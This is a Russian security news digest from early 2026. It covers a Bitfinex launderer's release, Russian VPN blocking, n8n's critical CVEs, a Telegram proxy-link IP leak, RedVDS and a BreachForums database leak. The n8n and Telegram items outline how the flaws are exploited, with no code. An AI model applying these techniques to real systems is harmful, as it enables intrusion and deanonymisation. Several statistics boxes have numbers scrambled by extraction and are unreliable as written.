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В этом выпуске: один из  фигурантов громчайшего взлома
Bitfinex внезапно выходит на  свободу после  14  месяцев
за решеткой и обещает «внести вклад в ИБ», Роскомнадзор
закручивает гайки вокруг VPN и «белых списков», а привыч‐
ные опоры индустрии и повседневной безопасности трещат
по  швам  — от  почти обнуленной активности Stack Overflow
до свежих критических уязвимостей в n8n и Telegram.

ИЛЬЯ ЛИХТЕНШТЕЙН
НА СВОБОДЕ
Илья Лихтенштейн (Ilya Lichtenstein), получивший пять лет лишения свободы
за  отмывание средств, украденных при  взломе биржи Bitfinex в  2016  году,
вышел на свободу досрочно. В тюрьме он провел лишь 14 месяцев.

38-летний Лихтенштейн сообщил о своем освобождении в  , поб‐
лагодарив за это First Step Act — закон о реформе системы уголовного пра‐
восудия, принятый во время первого президентского срока Дональда Трампа
в 2018 году.

соцсети X

В своем сообщении Лихтенштейн добавил:

« »Я по‑прежнему намерен внести вклад в  развитие информационной
безопасности.

Официальный представитель администрации Трампа подтвердил, что Лих‐
тенштейн «отбыл значительную часть срока» и теперь находится под домаш‐
ним арестом «в соответствии с  законодательством и  политикой Федераль‐
ного бюро тюрем США».

Напомним, что еще  в  2016  году Лихтенштейн и  его жена Хизер Морган
(Heather Morgan), также известная под псевдонимом Razzlekhan, стали учас‐
тниками одного из крупнейших криптовалютных ограблений в истории, о чем
мы детально рассказывали в  .отдельной статье

Как уже известно теперь, Лихтенштейн эксплуатировал уязвимость
в  multisig-системе Bitfinex, позволившую ему авторизовать транзакции
без подтверждений от BitGo — сторонней компании, управлявшей активами
биржи. Он инициировал более двух тысяч транзакций и  вывел  119  754  бит‐
коина, которые тогда стоили порядка 71 миллиона долларов.

Супругов арестовали в феврале 2022 года, а в августе 2023-го они приз‐
нали свою вину в отмывании денег. Хотя они пытались скрыть след украден‐
ных средств, конвертируя биткоины в  другие криптовалюты и  прогоняя их
через миксер‑сервисы, расследование продвинулось благодаря тому, что
пара купила подарочные карты Walmart за краденые биткоины и активировала
их через аккаунт, зарегистрированный на настоящее имя Морган.

В итоге правоохранители сумели вернуть около  94  тысяч биткоинов
(в 2022 году их стоимость оценивалась в 3,6 миллиарда долларов), что стало
одной из  крупнейших конфискаций криптовалюты в  истории США. В  янва‐
ре  2025  года прокуроры подали ходатайство о  возврате активов бирже
Bitfinex.

Лихтенштейна приговорили к пяти годам тюрьмы в ноябре 2024 года, тог‐
да как его жена получила 18 месяцев лишения свободы, но покинула пенитен‐
циарное учреждение даже раньше мужа — в конце октября 2025 года. Тогда
она , что освободилась «примерно месяц назад», а  «тюрьма ока‐
залась вполне ничего». Также Морган прокомментировала освобождение
Лихтенштейна:

писала в  X

« »Лучший новогодний подарок  — снова быть дома с  мужем после
четырех лет разлуки.

История Лихтенштейна и  Морган стала настолько резонансной, что
в  2024  году Netflix выпустил документальный фильм о  них под  названием

.Biggest Heist Ever

 ЗАБЛОКИРОВАЛИ В РОССИИ
К ЯНВАРЮ 2026 ГОДА
439 VPN-СЕРВИСОВ

Роскомнадзор сообщает, что к  середине января ввел ограничения для 
в России, — это на  больше, чем осенью 2025 года (тогда сообщалось о   блокировках).

439 VPN-сервисов
70% 258

По информации СМИ, в декабре 2025  года регулятор начал активнее блокировать протоколы
,  и  , что значительно расширило перечень сервисов под ограничения.SOCKS5 VLESS L2TP

По данным Sensor Tower, несмотря на блокировки, пользовательская база у топ-5 популярных
VPN-сервисов в России выросла с   до более  человек за третий квар‐
тал 2025 года (более чем в  ).

247 тысяч 6 миллионов
20 раз

IP ИЗ «БЕЛЫХ
СПИСКОВ» НЕЛЬЗЯ
СДАВАТЬ В АРЕНДУ
Как сообщило издание « », некоторые VPN-сервисы лишились воз‐
можности обходить «белые списки», которые работают при  ограничениях
мобильного интернета.

Код Дурова

Журналисты объясняют, что для обхода «белых списков» некоторые VPN-
сервисы арендовали российские серверы с  «белыми» IP-адресами. Такие
адреса входили в  список разрешенных ресурсов, которые продолжают
работать даже при ограничениях мобильного интернета. Также разработчики
таких решений выстраивали каскадные цепочки из  российских серверов,
в  итоге маскируя трафик под  запросы к  сайтам из  «белого списка». И  такая
схема работала до недавнего времени.

Теперь же предполагается, что Роскомнадзор потребовал от  облачных
провайдеров разделить пулы IP-адресов: одни  — строго для  ресурсов
из  «белого списка», другие  — для  всех остальных клиентов. Пересечений
больше быть не должно.

Результат не  заставил себя ждать: по  данным издания, 24  янва‐
ря 2026 года VPN-сервисы массово потеряли серверы с такими IP-адресами
и столкнулись с проблемами в работе.

Официальных комментариев от  представителей Роскомнадзора об  этой
ситуации не поступало.

Напомним, что в сентябре 2025 года Минцифры  первую версию
«белых списков», в  которую вошли наиболее востребованные и  социально
значимые российские сервисы и  сайты, которые должны оставаться дос‐
тупными российским пользователям в периоды ограничений работы мобиль‐
ного интернета по причине безопасности.

составило

После этого в  ведомстве сообщали о  расширении «белых списков»
еще трижды ( , , ).1 2 3

В Минцифры объясняли:

«

»

Работа по наполнению так называемого «белого списка» ведется пос‐
тоянно. Перечень цифровых платформ формируется из  наиболее
популярных интернет‑ресурсов России, а  также на  основе пред‐
ложений федеральных и региональных органов власти и по согласова‐
нию с  ведомствами, отвечающими за  обеспечение безопасности.
Включить в него ресурс иным способом невозможно. Важное условие
включения в  перечень: все используемые вычислительные ресурсы
должны находиться на территории России.

 ВОПРОСОВ В МЕСЯЦ — КОЛЛАПС STACK OVERFLOW300

За 16 лет существования Stack Overflow количество вопросов обрушилось с пикового значения
 в  месяц (2014  год) до    — это  уровень  2009  года, когда платформа только

запустилась.
200  тысяч 300

Спад начался еще в 2014 году, когда модераторы стали агрессивнее закрывать вопросы‑дуб‐
ликаты. Но настоящий обвал случился после релиза ChatGPT в ноябре 2022 года, и с тех пор
график активности упал практически до нуля.

К маю 2025 года количество вопросов сократилось до показателей начала 2009 года, а данные
на начало 2026 года показывают, что платформа фактически мертва.

КРИТИЧЕСКИЕ
УЯЗВИМОСТИ В N8N
Платформа для  автоматизации рабочих процессов n8n столкнулась с  серь‐
езными проблемами: за последние недели исследователи обнаружили сразу
четыре критические уязвимости, две из  которых получили максимальную
оценку 10 баллов по шкале CVSS.

Самая опасная проблема — CVE-2026-21858 (10 баллов из 10 возможных
по шкале CVSS), которой дали имя Ni8mare, позволяет неаутентифицирован‐
ным злоумышленникам получить полный контроль над  уязвимыми инстан‐
сами.

N8n представляет собой опенсорсный инструмент для  автоматизации,
с помощью которого можно связывать приложения, API и сервисы в сложные
воркфлоу через визуальный редактор. Платформа особенно популярна
в  ИИ‑сфере, где используется для  оркестрации LLM, создания ИИ‑агентов
и  RAG-пайплайнов. Инструмент насчитывает более  50  тысяч еженедельных
загрузок в npm и свыше 100 миллионов скачиваний на Docker Hub.

Учитывая, что n8n часто хранит API-ключи, OAuth-токены, учетные данные
баз данных, доступы к облачным хранилищам и CI/CD-секреты, компромета‐
ция такого инстанса может стать большой проблемой. По словам специалис‐
тов Cyera, взлом n8n «не просто означает потерю одной системы — это озна‐
чает передачу атакующим всех ключей».

Уже упомянутая уязвимость CVE-2026-21858  позволяет неаутентифици‐
рованному атакующему получить доступ к  файлам на  сервере через выпол‐
нение определенных form-based-воркфлоу.

Корень проблемы заключается в путанице с типами контента (content-type
confusion) в ходе парсинга данных. N8n использует две функции для обработ‐
ки входящих данных в зависимости от заголовка content-type в веб‑хуке. Ког‐
да запрос маркируется как  multipart/form-data, платформа использует спе‐
циальный парсер, который сохраняет файлы в  случайно сгенерированные
временные локации, защищая от  path traversal. Однако для  всех остальных
типов контента задействуется стандартный парсер.

Исследователи выяснили, что, установив другой тип контента (например,
application/json), атакующий может обойти защиту. В  такой ситуации n8n
обрабатывает поля, связанные с файлами, но без проверки валидности, что
дает атакующему полный контроль над  метаданными файла, включая путь.
Эксперты поясняют:

«
»

Поскольку эта функция вызывается без проверки content-type, мы кон‐
тролируем весь объект req.body.files. Это значит, что мы контролиру‐
ем параметр filepath  — и  вместо копирования загруженного файла
можем скопировать любой локальный файл из системы.

Эксплуатация бага позволяет читать произвольные файлы, получать доступ
к БД, извлекать учетные данные администратора и ключи шифрования, под‐
делывать сессионные cookie для обхода аутентификации и в итоге добиться
выполнения произвольных команд.

Проблема затрагивает все версии n8n, включая  1.65.0. Патч для  этой уяз‐
вимости вышел еще  в версии  1.121.0 (18  ноября  2025  года). Хотя никаких
обходных путей для исправления бага нет, разработчики рекомендуют огра‐
ничить или  отключить публично доступные веб‑хук‑эндпоинты и  form-эндпо‐
инты.

По данным экспертов Censys, в  сети можно найти более  26  тысяч дос‐
тупных n8n-хостов. Большинство из  них расположены в  США (7079), Гер‐
мании (4280), Франции (2655), Бразилии (1347) и Сингапуре (1129).

За прошедшие недели были раскрыты детали еще трех критических багов
в n8n, помимо проблемы Ni8mare.

 (CVSS: 10.0) — уязвимость связана с неограниченной
загрузкой файлов опасного типа и  при определенных обстоятельствах поз‐
воляет аутентифицированному злоумышленнику выполнить ненадежный код
через n8n, что приводит к  полной компрометации инстанса. Проблема зат‐
рагивает версии от 0.123.0 до 1.121.3 (не включительно) и была исправлена
в  версии  1.121.3 (ноябрь  2025-го). Если немедленная установка патчей
невозможна, администраторам рекомендуется отключить ноду Git и  огра‐
ничить доступ для недоверенных пользователей.

CVE-2026-21877

 получила имя N8scape (CVSS: 9.9)  — проблема 

 в  Python Code Node, который использует Pyodide.
Аутентифицированный пользователь с  правами на  создание или  изменение
воркфлоу может эксплуатировать баг для  выполнения произвольных команд
в хост‑системе, где запущен n8n, с теми же привилегиями, что и процесс n8n.
Уязвимость затрагивает версии от  1.0.0  до  2.0.0 (не включительно) и  была
устранена с  релизом версии  2.0.0. Разработчики n8n отметили, что с  вер‐
сии  1.111.0  была внедрена опциональная нативная имплементация Python
на основе task runner для улучшенной изоляции безопасности, которая стала
дефолтной в релизе 2.0.0.

CVE-2025-68668 поз‐

воляет обойти песочницу

 (CVSS: 9.9) — баг типа improper control of dynamically-
managed code resources, который при  определенных условиях 
аутентифицированным атакующим добиться RCE. Исправлен в  вер‐
сиях  1.120.4, 1.121.1  и  1.122.0. По  данным Censys, по  состоянию на  конец
декабря 2025 года в сети насчитывалось  потенциально уяз‐
вимых установок.

CVE-2025-68613

позволяет

более 100 тысяч

Всем пользователям n8n настоятельно рекомендуют как можно скорее обно‐
виться до последних защищенных версий. Кроме того, эксперты не советуют
делать n8n доступным через интернет напрямую и  обязательно включать
аутентификацию для всех Forms.

ТОРВАЛЬДС О ВАЙБ-КОДИНГЕ

Создатель Linux Линус Торвальдс (Linus Torvalds) признался, что использовал вайб‑кодинг
для своего хобби‑проекта AudioNoise — инструмента для генерации цифровых аудиоэффектов.
Торвальдс написал основную логику на  C, но  для визуализатора на  Python воспользовался
ИИ‑ассистентом Google Antigravity. В README-файле проекта на GitHub он объяснил:

→ Инструмент визуализации на  Python, по  сути, написан вайб‑кодингом. Я
знаю об аналоговых фильтрах больше, хотя и не намного, чем о Python. Сначала
я действовал по  своей обычной схеме «погугли и  повтори, как  обезьяна»,
но потом я исключил из этой схемы посредника — меня — и просто использовал
Google Antigravity для создания визуализатора аудиосемплов.

При этом Торвальдс подчеркивает, что вайб‑кодинг подходит только для экспериментов и хоб‐
би‑проектов, но не для серьезных задач вроде разработки ядра Linux.

ПРОКСИ-ССЫЛКИ
РАСКРЫВАЮТ IP
ПОЛЬЗОВАТЕЛЕЙ
TELEGRAM
Исследователи обнаружили уязвимость в  Telegram для  Android и  iOS. После
клика по  специально оформленной ссылке приложение автоматически
соединяется с сервером злоумышленников, передавая им реальный IP-адрес
пользователя. Никаких дополнительных подтверждений при этом не требует‐
ся.

Проблема связана с тем, как Telegram обрабатывает прокси‑ссылки. Такие
ссылки (формата t.me/proxy?...) позволяют быстро настраивать MTProto-
прокси в клиенте, просто кликнув по ссылке, вместо того, чтобы вручную вво‐
дить данные. После открытия в  Telegram приложение считывает параметры
прокси (включая сервер, порт и секретный ключ) и предлагает пользователю
добавить прокси в свои настройки.

Как выяснилось, при открытии такой прокси‑ссылки в Telegram для Android
и  iOS приложение автоматически тестирует соединение с  указанным сер‐
вером (еще до того, как прокси будет добавлен в настройки). Такое тестовое
подключение инициирует прямой тестовый запрос с устройства пользовате‐
ля.

В результате атакующие могут замаскировать вредоносную ссылку даже
под обычный юзернейм. Например, в сообщении будет отображаться @durov,
но  на самом деле ссылка будет вести на  прокси‑сервер злоумышленников.
После клика по  ней приложение свяжется с  прокси‑сервером MTProto ата‐
кующих, передавая им реальный IP-адрес жертвы.

Получив IP-адрес, хакеры смогут вычислить примерное местоположение
жертвы, провести DDoS-атаку или использовать эти данные для других целей.
Проблема может представлять опасность для активистов, журналистов и дис‐
сидентов.

Эксперты сравнивают эту уязвимость с утечками NTLM-хешей в Windows,
где всего одно взаимодействие с  вредоносным ресурсом запускает авто‐
матический запрос без ведома пользователя.

При этом разработчики Telegram заявили изданию , что вла‐
дельцы любых сайтов или прокси‑операторы могут видеть реальные IP-адре‐
са посетителей и это вовсе не уникально для Telegram:

BleepingComputer

« »Это применимо к  Telegram не  больше, чем к  WhatsApp или  любому
другому сервису, который имеет доступ к интернету.

Тем не менее в Telegram пообещали добавить предупреждение при открытии
прокси‑ссылок, чтобы пользователи были внимательнее к  замаскированным
URL. Правда, когда именно это  предупреждение появится в  приложениях,
не уточняется.

 ЗАБЛОКИРОВАЛ
TELEGRAM В 2025 ГОДУ
44 МИЛЛИОНА КАНАЛОВ И ГРУПП

Администрация Telegram за 2025 год заблокировала  каналов и групп, наруша‐
ющих политику мессенджера, — почти в   больше, чем в 2024 году.

44 миллиона
2,7 раза

Наибольшее число блокировок пришлось на четвертый квартал 2025 года — свыше 
 (больше, чем за весь 2024 год).

17,416 мил‐
лиона

Блокировка коснулась более  групп и каналов с материалами, содержащими сек‐
суальное насилие над детьми ( ), и почти  сообществ террористической нап‐
равленности ( ).

950 тысяч
+28% 234 тысячи

+66,6%

 было заблокировано почти  групп и каналов — это третий
случай с начала наблюдений, когда за сутки удалили более полумиллиона сообществ.
1 января 2026 года 543 тысячи
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ONEPLUS ЗАЩИТИТ
ПРОШИВКУ
ОТ ДАУНГРЕЙДА
Разработчики OnePlus добавили в  свежие обновления ColorOS защиту Anti-
Rollback Protection (ARB). В результате после обновления становится невоз‐
можно вернуться на старую прошивку, использовать кастомный ROM, а также
не  работает большинство методов восстановления устройств после сбоя.
Механизм работает на  аппаратном уровне, и  избавиться от  такой защиты
невозможно.

Как сообщило издание DroidWin, механизм ARB появился с  релизом
ColorOS 16.0.3.500/.501/.503 — это сборки на базе Android 16 для OnePlus 13,
13T, OnePlus 15 и линейки Ace 5.

Защита срабатывает в  момент установки обновления: на  материнской
плате «прожигается» eFuse, который навсегда фиксирует новый уровень вер‐
сии безопасности устройства. Отменить это  программно невозможно  —
только заменить материнскую плату.

ARB является частью архитектуры Verified Boot в Android. Технология давно
используется в  устройствах Xiaomi, POCO, Redmi, Google и  других произво‐
дителей. Ее основная задача  — предотвратить откат на  старые и  уязвимые
версии ПО. Отмечается, что по  логике работы защита ARB похожа
на Samsung Knox: там тоже срабатывает предохранитель при разблокировке
загрузчика, однако Samsung не  превращает устройство в  «кирпич», а  бло‐
кирует сам процесс разблокировки загрузчика.

Защита у  OnePlus реализована жестче. Так, после активации ARB любая
попытка вернуться на  более старую прошивку приводит к  тому, что устрой‐
ство превращается в «кирпич». Старые кастомные ROM тоже не сработают —
устройство «окирпичится». Также после этого не  сработают стандартные
методы восстановления.

По информации DroidWin, ARB уже работает:
на OnePlus 13 и 13T — ColorOS 16.0.3.501;•
OnePlus 15 — ColorOS 16.0.3.503;•
OnePlus Ace 5 и Ace 5 Pro — ColorOS 16.0.3.500.•

Кроме того, под угрозой находится серия OPPO Find X8: там ARB, вероятно,
тоже уже включена. На очереди устройства OnePlus 11 и OnePlus 12.

Хотя пока защита ARB замечена только в  ColorOS, учитывая общую
кодовую базу с  OxygenOS, в  ближайших обновлениях защитный механизм
может появиться и там.

В итоге пользователям, для  которых важна возможность разблокировки
загрузчика или  установки кастомных прошивок, не  рекомендуется устанав‐
ливать обновления с версиями .500, .501 или .503.

 УЯЗВИМОСТИ ЭКСПЛУАТИРОВАЛИ В 2025 ГОДУ
ВПЕРВЫЕ
884

Специалисты VulnCheck зафиксировали в  2025  году  новые KEV (Known Exploited
Vulnerabilities — известные эксплуатируемые уязвимости), которые атаковали хакеры.

884

 из  этих багов начинали эксплуатировать в  день публикации информации о  CVE
или раньше (рост на   по сравнению с 2024 годом).
28,96%

23,6%

Подчеркивается, что  и   остаются главной угрозой. Время между публикацией CVE
и атаками практически не изменилось между 2024 и 2025 годами. Хакеры действуют стабильно
и быстро — паттерны остались теми же.

0-day n-day

Суммарно эксплуатация затронула  производителей и   продукта.518 672

Для сравнения: в  список CISA KEV за  год добавили только  уязвимостей в  продуктах 
вендоров. VulnCheck публиковала данные об эксплуатации случаев раньше CISA в   (иног‐
да на дни, месяцы или даже годы).

245 99
85%

MICROSOFT
СУДИТСЯ С REDVDS
Компания Microsoft сообщила о  ликвидации RedVDS  — крупной платформы
по  продаже виртуальных серверов, ущерб от  работы которой превыша‐
ет 40 миллионов долларов только в США. Компания подала иски в американ‐
ские и британские суды, добилась изъятия инфраструктуры RedVDS, закрыла
доступ к  маркетплейсу и  клиентскому порталу. Операция проводилась сов‐
местно с Европолом и немецкими властями.

В качестве истцов к  Microsoft присоединились фармацевтическая ком‐
пания H2-Pharma из  Алабамы, потерявшая  7,3  миллиона долларов в  ходе
BEC-атаки, а  также ассоциация Gatehouse Dock во  Флориде, у  которой
похитили почти 500 тысяч долларов.

«

»

Всего за 24 доллара в месяц RedVDS предоставлял преступникам дос‐
туп к  одноразовым виртуальным машинам, которые делали мошен‐
ничество дешевым, масштабируемым и трудноотслеживаемым, — рас‐
сказывает Стивен Масада (Steven Masada), помощник генерального
юрисконсульта подразделения Microsoft Digital Crimes Unit.  — Такие
сервисы незаметно превратились в движущую силу роста киберпрес‐
тупности, поддерживая атаки, которые бьют по  людям, бизнесу
и сообществам по всему миру.

RedVDS был активен с 2019 года, используя домены redvds[.]com, redvds[.]pro
и  vdspanel[.]space. Сервис продавал доступ к  виртуальным Windows-сер‐
верам с правами администратора и без каких‑либо ограничений по исполь‐
зованию. По информации исследователей, клиентами платформы были нес‐
колько хакгрупп, которые Microsoft отслеживает как  Storm-0259, Storm-2227,
Storm-1575 и Storm-1747.

Расследование показало, что разработчик и  оператор сервиса (груп‐
пировка Storm-2470) создавал все виртуальные машины из одного клониро‐
ванного образа Windows Server 2022. Это оставило характерный технический
след — все инстансы имели одинаковое имя компьютера WIN-BUNS25TD77J.
Эта аномалия помогла исследователям обнаружить причастность платформы
к разным вредоносным кампаниям.

RedVDS арендовал серверы у сторонних хостинг‑провайдеров в Великоб‐
ритании, Германии, Канаде, Нидерландах, США и  Франции. В  итоге прес‐
тупники могли выбирать IP-адреса, географически близкие к жертвам, и легко
обходить геоблокировки.

На арендованных машинах клиенты разворачивали широкий спектр мал‐
вари и  инструментов: утилиты для  массовых рассылок, парсеры email-адре‐
сов, средства анонимизации и ПО удаленного доступа. Сервис позволял рас‐
сылать фишинговые письма, хостить мошенническую инфраструктуру
и  заниматься мошенничеством, сохраняя анонимность через криптовалют‐
ные платежи.

Серверы RedVDS также использовались для  кражи учетных данных, захвата
аккаунтов, BEC-атак и мошенничества с перенаправлением платежей в сдел‐
ках с  недвижимостью. Последнее привело к  крупным финансовым потерям
для более чем 9000 клиентов в Канаде и Австралии.

В Microsoft отмечают, что многие клиенты RedVDS применяли инструменты
на базе ИИ, включая ChatGPT, для создания более убедительных фишинговых
писем. Другие использовали технологии подмены лиц, видеодипфейки и кло‐
нировали голоса для имитации доверенных организаций и людей.

За один месяц киберпреступники, контролировавшие более  2600  вир‐
туальных машин RedVDS, в  среднем рассылали миллион фишинговых сооб‐
щений в  день только пользователям Microsoft. В  результате лишь за  пос‐
ледние четыре месяца им удалось скомпрометировать почти 200 тысяч акка‐
унтов Microsoft.

«
»

С сентября 2025 года атаки через RedVDS привели к компрометации
или  мошенническому доступу более чем к  191  тысяче организаций
по  всему миру,  — добавляет Масада.  — Эти цифры отражают лишь
часть пострадавших аккаунтов и  подчеркивают, насколько быстро
подобная инфраструктура позволяет масштабировать кибератаки.

СВИНЦОВ О БЛОКИРОВКЕ WHATSAPP

Заместитель председателя комитета Госдумы по информационной политике, информационным
технологиям и  связи Андрей Свинцов заявил СМИ, что WhatsApp окончательно заблокируют
в России до конца 2026 года. Депутат отметил:

→ Я думаю, что, действительно, до конца года Роскомнадзор примет комплекс
мер для окончательной блокировки WhatsApp. Это связано с тем, что WhatsApp
принадлежит признанной у нас в России экстремистской компании Meta, и вот
такие жесткие меры, особенно в предвыборный год, абсолютно обоснованны.

УТЕКЛИ 324 000
АККАУНТОВ
BREACHFORUMS
Очередная версия хакерского форума BreachForums пострадала от  утечки
данных — в публичный доступ выложили БД с информацией о пользователях
ресурса.

Под названием BreachForums работало несколько сайтов, и все они были посвящены покупке,
продаже и сливу ворованных данных.

Первым «форумом для  утечек» был RaidForums. Однако после того как  ФБР  его
в  2022  году, некто Pompompurin запустил собственный ресурс под  названием BreachForums
(или просто Breached).

закрыло

Этот форум быстро завоевал популярность в хакерской среде, и преступники публиковали
на сайте огромные объемы украденных данных, к примеру информацию 

 DC Health Link или данные миллионов пользователей .
поставщика медицин‐

ских услуг конгресса США Twitter
Вскоре после публикации данных DC Health Link, в марте 2023 года ФБР арестовало вла‐

дельца форума Конора Брайана Фитцпатрика (Pompompurin), и BreachForums закрылся. Отме‐
тим, что Фитцпатрик признал себя виновным по  нескольким пунктам обвинения, в  янва‐
ре 2024  года его  к 20  годам под надзором, однако осенью 2025  года 

 на три года лишения свободы.
приговорили приговор

был изменен
Однако после ареста Pompompurin появились новые версии ресурса, которые в итоге тоже

были захвачены правоохранительными органами.
Еще одна инкарнация сайта — BreachForums v2  в 2024 году под руководс‐

твом ShinyHunters, Baphomet и, позднее, IntelBroker (отошел от  управления сайтом в  янва‐
ре 2025 года).

была запущена

Эта версия сайта отключилась в  апреле  2025  года после того, как  BreachForums, пред‐
положительно, был взломан через 0-day-уязвимость в MyBB. После этого форум так и не вер‐
нулся в сеть.

В октябре  2025  года ФБР  очередной домен BreachForums (Breachforums[.]hn),
который хакеры использовали для слива данных, перечислив на нем 39 организаций, постра‐
давших от  утечек данных, связанных с  Salesforce. Как  заявляли сами злоумышленники, пра‐
воохранители не только закрыли сайт, но и завладели бэкапами БД хакфорума.

изъяло

Невзирая на  регулярные утечки данных и  действия полиции, BreachForums
упорно возрождается на новых доменах. При этом многие подозревают, что
с некоторых пор сайт стал ловушкой для киберпреступников, организованной
спецслужбами.

9  января  2026  года на  сайте, названном в  честь вымогательской груп‐
пировки ShinyHunters, появился архив breachedforum.7z. Внутри оказались
три файла: история некоего Джеймса в  текстовом документе (вероятно,
это один из бывших участников ShinyHunters), SQL-дамп базы данных и PGP-
ключ администрации форума.

Стоит отметить, что представитель ShinyHunters сообщил СМИ, что группа
не имеет никакого отношения к этому ресурсу.

Файл с  PGP-ключом содержит приватный ключ, соз‐
данный  25  июля  2023  года. Его использовали для  подписи официальных
сообщений от  администраторов BreachForums. Ключ утек, но  защищен
паролем  — без  кодовой фразы злоумышленники не  смогут подписывать
сообщения от имени администрации.

Как заметили в  ИБ‑компании , позже на  сайте был выложен
пароль к  приватному PGP-ключу, и  другие исследователи подтвердили, что
пароль подлинный.

Resecurity

SQL-файл содержит таблицу пользователей из  MyBB с  323  988  записями.
Для каждой записи доступна информация о никнейме, дате регистрации, IP-
адресе и прочие служебные данные.

Анализ показал, что большинство IP-адресов указывают на  локальный
loopback (127.0.0.9), поэтому не представляют практической ценности. Одна‐
ко  70  296  записей содержат реальные публичные адреса. Это  может стать
проблемой для пользователей форума, ведь такие данные могут заинтересо‐
вать как правоохранительные органы, так и ИБ‑исследователей.

Анализ IP-адресов из дампа, проведенный Resecurity

Последняя дата регистрации в утекшей БД — 11 августа 2025 года. В этот же
день версия форума на  домене breachforums[.]hn закрылась после 
нескольких предполагаемых операторов сайта.

ареста

Нынешний администратор BreachForums под ником N/A подтвердил утеч‐
ку. По  его словам, резервная копия таблицы пользователей временно ока‐
залась в незащищенной директории и была скачана оттуда всего один раз:

«

»

Мы хотим прояснить ситуацию с  предполагаемой утечкой базы дан‐
ных. Прежде всего, это  не недавний инцидент. Данные относятся
к  старой утечке таблицы пользователей от  августа  2025  года, когда
BreachForums восстанавливали после закрытия домена .hn. Во время
восстановления таблица пользователей и PGP-ключ форума короткое
время хранились в  незащищенной папке. Наше расследование
показало, что папку скачали только один раз.

В своем сообщении N/A посоветовал пользователям полагаться на  одно‐
разовые email-адреса для снижения рисков, а также отметил, что большинс‐
тво IP-адресов в таблице все же указывали на локальные адреса.

 СОКРАТИЛИ В ИТ-СЕКТОРЕ
ЗА 2025 ГОД
244 851 РАБОЧЕЕ МЕСТО

Согласно отчету британской компании RationalFX, в  2025  году в  ИТ‑индустрии сократили
 сотрудника. Главные причины — экономическая неопределенность, высокие процен‐

тные ставки, внедрение ИИ и автоматизация.
244 851

Большая часть увольнений пришлась на  США  —  от  всех сокращений по  миру. Лидер
среди штатов — Калифорния с   (  от увольнений по всей стране).

69,7%
73 499 сокращениями 43%

Intel уволила около  работников — почти . Amazon сократила свыше
 сотрудников, Microsoft —  человек, Verizon —  рабочих мест (  штата).

34 000 треть персонала
20 000 19 215 15 000 15%

Аналитики отметили, что тенденция может продолжиться в  2026  году, если темпы внедрения
ИИ сохранятся на прежнем уровне.
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ЗАМЕДЛЕНИЕ
TELEGRAM
ПОДТВЕРЖДЕНО РКН
Заместитель председателя Совета по  развитию цифровой экономики
при  Совете Федерации, сенатор Артем Шейкин  проблемы с  заг‐
рузкой видео в Telegram. По его словам, Роскомнадзор (РКН) последователь‐
но применяет меры в  отношении интернет‑сервисов, нарушающих законо‐
дательство РФ. В ведомстве назвали объяснения сенатора «исчерпывающи‐
ми».

объяснил

Шейкин заявил:

«

»

Роскомнадзор последовательно применяет меры в  отношении
интернет‑сервисов, нарушающих законодательство РФ. Иностранные
мессенджеры используются для организации и проведения террорис‐
тических актов на  территории России, для  мошеннических и  иных
преступлений против граждан нашей страны. Telegram не  выполняет
требования, направленные на  предупреждение и  пресечение совер‐
шения преступлений на  территории РФ. В  связи с  этим
с  августа  2025  года поэтапно вводились ограничительные меры
в  отношении данного мессенджера: не  «проходят» аудио- и  виде‐
озвонки, отчасти замедляется передача медиафайлов.

По словам сенатора, ограничения вводятся последовательно и это позволяет
россиянам перейти на  использование других мессенджеров. Шейкин
добавил:

« »Я рекомендую в качестве альтернативы иностранного сервиса исполь‐
зовать только национальные мессенджеры.

Вскоре после этого заявления представители пресс‑службы РКН сообщили,
что информация, представленная Шейкиным, была «исчерпывающей».

Незадолго до этого , что Роскомнадзор применяет «новые
ограничения» к Telegram.

СМИ сообщали

Тогда заместитель председателя комитета по информационной политике,
информационным технологиям и связи Андрей Свинцов , что регуля‐
тор замедлил загрузку видео в мессенджере, и объяснял замедление недос‐
таточным сотрудничеством с  властями РФ. По  его словам, проблемы
с видео — это «мягкий намек» руководству Telegram, что пора активнее сот‐
рудничать с российскими властями.

говорил

При этом представители Роскомнадзора официально заявили журналис‐
там, что ведомство не применяет никаких новых мер по ограничению работы
мессенджера Telegram.

Напомним, что Роскомнадзор  голосовые звонки
в WhatsApp (принадлежит компании Meta, которая признана экстремистской
организацией и  запрещена в  РФ) и  Telegram еще  в августе  2025  года, объ‐
ясняя это  борьбой с  мошенниками и  террористами. В  октябре ведомство
перешло к   работы сервисов, а в конце ноября 

 о  возможной полной блокировке WhatsApp в  России, если мес‐
сенджер не начнет соблюдать российское законодательство.

начал ограничивать

частичному ограничению пре‐
дупредило

 — ПРОГНОЗ УЩЕРБА
ОТ КИБЕРПРЕСТУПЛЕНИЙ В 2026 ГОДУ
11,9 ТРИЛЛИОНА ДОЛЛАРОВ

Эксперты Positive Technologies оценивают глобальный ущерб от действий хакеров в 
 в  2026  году. Главным катализатором угроз, по  их мнению, станет

искусственный интеллект.

11,9 трил‐
лиона долларов США

Почти  в 2025 году привела к нарушению основной деятельности
организаций  — это  на  больше, чем в  2024  году. Доля утечек конфиденциальной
информации выросла с   до  .

половина всех атак (47%)
16  п. п.
53 64%

Промышленные предприятия попали под  удар в  , что сравняло их с  традици‐
онным лидером — государственным сектором.  и   набрали по 

 каждая.

15% случаев
ИТ‑компании сфера услуг 7%

атак

Модель  позволит даже низкоквалифицированным преступникам реали‐
зовать полный цикл атаки — от подготовки инфраструктуры до написания персонализированных
промптов. ИИ автоматизирует все этапы фишинговых кампаний.

AI-scam as a service

Техника  также набрала популярность за  последние два года: хакеры под  видом
легитимных уведомлений вынуждают жертву выполнить вредоносную команду.

ClickFix

По словам исследователей, большинство фишинговых кампаний будут запускаться через сер‐
висы , которые предлагают инструменты для обхода многофакторной
аутентификации.

«фишинг как услуга»

УТЕЧКА LEDGER
Производитель аппаратных криптокошельков Ledger 
об  утечке данных, произошедшей из‑за взлома сторонней платежной сис‐
темы Global-e. Как сообщили в компании, атака затронула только инфраструк‐
туру процессингового партнера  — собственная сеть Ledger и  ее аппарат‐
но‑программные системы не пострадали.

предупредил клиентов

Утечка затронула покупателей, оформлявших заказы на  сайте ledger.com
посредством Global-e. В результате утекли имена и контактные данные поль‐
зователей, но отмечается, что финансовая информация не затронута.

Платформа Global-e обрабатывает платежи и заказы, а также занимается
налогами и  таможенными пошлинами для  крупных ретейлеров  — от  Adidas
и Disney до Netflix и Hugo Boss.

Также представители Ledger подчеркнули, что хакеры не смогли похитить
seed-фразы для доступа к  криптокошелькам, состоящие из 24 слов, а  также
любые другие критически важные данные, связанные с цифровыми активами.
